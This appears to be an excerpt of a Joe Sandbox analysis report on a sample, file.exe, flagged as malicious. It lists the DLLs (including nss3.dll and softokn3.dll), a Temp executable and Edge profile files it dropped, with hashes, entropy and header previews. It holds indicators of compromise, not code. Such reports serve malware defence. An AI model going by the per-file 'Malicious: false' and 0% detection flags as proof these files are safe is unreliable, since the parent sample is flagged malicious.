Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\a0969106aa.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0215fea6-a5d1-4bbb-b4d5-c6b75c4ffa46.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44694
Entropy (8bit):	6.095792668924517
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBAwuJhDO6vP6OtS15Wvqhu90dF+bNcGoup1Xl3jVu:z/Ps+wsI7yOE164avfchu3VlXr4CRo1
MD5:	59DF7CB57856F7837FF7519F0D586C16
SHA1:	FC04EB30022E4BA8985F58DAF8AF5F2D4672CCFB
SHA-256:	476E9EFA093A91B818EC63ABAAA2E5A5328FD773E162001B925FB3C009967463
SHA-512:	DCB663E312D72823F0FBD5A69A3783D61F5F3DD182F8060F05C1B4F63F2B243FEEBE15A0D48D63EBD4C5591274E8C265C9F3A1FFDDB3963AB2D074BA8D1DF71C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\33d826da-056e-43b1-80b6-3c6541ae650c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46078
Entropy (8bit):	6.086886918498386
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgx99q1uyhDO6vP6OtS15Wvqhu90dF+bNP2185CAo9Goup1Xl3u:JMk1rT8HR99b64avfP2185Ro9hu3VlX0
MD5:	87417CC10699D8374549437D07FB9BA4
SHA1:	71EF785E3AE91C5B50F406943C6693EE9E8515D7
SHA-256:	D702B8FE17A361A113DC813CEAFA627273A9B3539B6C66B32434CAC845B79770
SHA-512:	D298AC12122002F846E48E142BF6712367AEAC3A657CEE64D451A887C72F6AAC6617F9133E6C433ED94BDDE775E072F98E2B047D981C6B73B7D8E2A5C4631A32
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731389006"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3bdb071e-1683-424f-9829-6daa99d4659a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.096461211164881
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBZwuJhDO6vP6OtS15WvyUI5bEqFBcGoup1Xl3jVz6:z/Ps+wsI7ynEu64avmchu3VlXr4CRo1
MD5:	66A160444E0CDDE912F9CCCDF9281BA7
SHA1:	C9ACBB6A1572FC342E72C2F6D08CB0AC831AA846
SHA-256:	36BDD29562E5C78CB8BBF617F20CCD6DF43143F8C778B2E1EA05BC0C401B35B6
SHA-512:	4DD819FD85B17A4F12C9C27C15EBC11779F9B783EC427AA033F776A39D4B329945E0C05A7ABC26EF0181D20F97E5769335D680685337EB5369D382604F0A9254
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\604fbbe3-2741-4bce-928f-175f6a9f9ed5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44612
Entropy (8bit):	6.096461211164881
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBZwuJhDO6vP6OtS15WvyUI5bEqFBcGoup1Xl3jVz6:z/Ps+wsI7ynEu64avmchu3VlXr4CRo1
MD5:	66A160444E0CDDE912F9CCCDF9281BA7
SHA1:	C9ACBB6A1572FC342E72C2F6D08CB0AC831AA846
SHA-256:	36BDD29562E5C78CB8BBF617F20CCD6DF43143F8C778B2E1EA05BC0C401B35B6
SHA-512:	4DD819FD85B17A4F12C9C27C15EBC11779F9B783EC427AA033F776A39D4B329945E0C05A7ABC26EF0181D20F97E5769335D680685337EB5369D382604F0A9254
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\64e93689-f581-452c-9d2c-9c9df4ad5df6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46155
Entropy (8bit):	6.086825532141619
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgmo9q1uyhDO6vP6OtS15Wvqhu90dF+bNP2185CAo9Goup1Xl3u:JMk1rT8HGo9b64avfP2185Ro9hu3VlX0
MD5:	22A5D150C158688FA8697D07DD9B8A48
SHA1:	D6B0802207A1EA57FE341082CAA3B60D8ACC6306
SHA-256:	0D1431F9167458E3721095393A183A14B5BF8AEC4D08E8575D87435928FE9A17
SHA-512:	9D614298CE091D69E2152209E9C4FB5D0CBE084F5F3EB8DB81C214C8F261AE076B99698A95988C2282027FD9C97CD07FE0CD5B74B633C1779BBC4C1367BE5FBB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731389006"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\8cc23a34-6c88-4246-81b6-84b8bf0f1b32.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46155
Entropy (8bit):	6.08682396599739
Encrypted:	false
SSDEEP:	768:JMkbJrT8IeQcrQgm99q1uyhDO6vP6OtS15Wvqhu90dF+bNP2185CAo9Goup1Xl3u:JMk1rT8HG99b64avfP2185Ro9hu3VlX0
MD5:	D8FC5BFBA969349EAE725BC6084C844A
SHA1:	D4989C0789C21BEFD6D62A1DE0334449584D8586
SHA-256:	F644EAF4180BB9660D4C7AF5492AEE297C8976D1B4C562D48CB992903227B960
SHA-512:	38D9BAEE6AB8FBA9B22AB992B837A07C27B3B6AA4BA17EB61479C44B8124739EA7F43CE9DFD161A448898E3439C170F109218FF2B8C17D6957D6CC707DEC26B5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731389006"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\6dad775e-eae6-4f62-8ad7-f4ee5c8279d7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139822627159
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7o:fwUQC5VwBIiElEd2K57P7o
MD5:	3F661497580210A9A5B194DBDE387CBD
SHA1:	AC5DA82539FDF967C0D29284446BBF33C1023DE3
SHA-256:	8615001DB8EA389D4FF271071160DD5F17A56A2FF6412C3D0A77531FBA8234C1
SHA-512:	8B7CE599B9C5A232BBB45152B5FE7850C2A7161EE914B04A63EDB0EF313D6C5A53962614F664908518B630D97F84C0EA5FED4CC0404D10EF9E5B6D58AB037437
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6732E648-DFC.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45458350416860505
Encrypted:	false
SSDEEP:	3072:a/oh5ToTJQopKAfHlqCKY70JWUPF9TR8lqi8CHl77hBr2g1HFzO:1h5It5fHUCKYqp99Iqinl7lBr2aHE
MD5:	61230CE4926A1DD578F1FA189E4DAA27
SHA1:	890C1E11BAFA105A496E5098992DA044C5011B11
SHA-256:	689A4C6113777A86DB4A1EC22D120F9AFE2A7C284A84C2B9B6EAEDC475CB409D
SHA-512:	215DDCD39868063187EF21ABC1AE8A7D472E7EEEE0BBB5FC867BEC1B8594D9DF92CDA15A2CB4850DB8FEEF5C4D4CE92A766989834BA678CD60B85FD3FB1A55B8
Malicious:	false
Preview:	...@..@...@.....C.].....@...................h...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".vlavwr20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .2.....

